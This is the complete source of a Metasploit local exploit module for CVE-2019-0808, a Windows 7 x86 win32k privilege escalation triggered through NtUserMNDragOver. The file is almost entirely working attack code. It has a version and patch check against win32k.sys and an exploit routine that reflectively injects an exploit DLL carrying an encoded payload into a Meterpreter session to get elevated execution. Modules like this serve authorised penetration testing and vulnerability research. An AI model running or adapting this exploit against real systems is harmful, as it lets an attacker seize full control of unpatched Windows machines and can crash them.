##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows NtUserMNDragOver Local Privilege Elevation',
        'Description' => %q{
          This module exploits a NULL pointer dereference vulnerability in
          MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system call.

          The NULL pointer dereference occurs because the xxxMNFindWindowFromPoint()
          function does not effectively check the validity of the tagPOPUPMENU
          objects it processes before passing them on to MNGetpItemFromIndex(),
          where the NULL pointer dereference will occur.

          This module has been tested against Windows 7 x86 SP0 and SP1. Offsets
          within the solution may need to be adjusted to work with other versions
          of Windows, such as Windows Server 2008.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Clément Lecigne', # discovery
          'Grant Willcox', # exploit
          'timwr' # msf module
        ],
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows 7 x86', { 'Arch' => ARCH_X86 }]
        ],
        'Notes' => {
          'Stability' => [CRASH_OS_RESTARTS],
          'SideEffects' => [SCREEN_EFFECTS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'References' => [
          ['CVE', '2019-0808'],
          ['URL', 'https://github.com/exodusintel/CVE-2019-0808'],
          ['URL', 'https://github.com/ze0r/cve-2019-0808-poc'],
          ['URL', 'http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html'],
          ['URL', 'https://blog.exodusintel.com/2019/05/17/windows-within-windows/'],
        ],
        'DisclosureDate' => '2019-03-12',
        'DefaultTarget' => 0
      )
    )
  end

  def check
    if session.platform != 'windows'
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe
    end

    version = get_version_info

    vprint_status("OS version: #{version}")
    # see https://docs.microsoft.com/en-us/windows/release-information/
    unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
      print_error('The exploit only supports Windows 7 versions 7600 and 7601')
      return CheckCode::Safe
    end

    path = expand_path('%WINDIR%\\system32\\win32k.sys')
    _major, _minor, _build, revision, _brand = file_version(path)
    return CheckCode::Safe if revision >= 24387

    CheckCode::Appears
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo['Architecture'] != ARCH_X86
      fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
    end

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Reflectively injecting the exploit DLL and running the exploit...')
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0808', 'exploit.dll'),
      [encoded_payload.length].pack('I<') + encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end
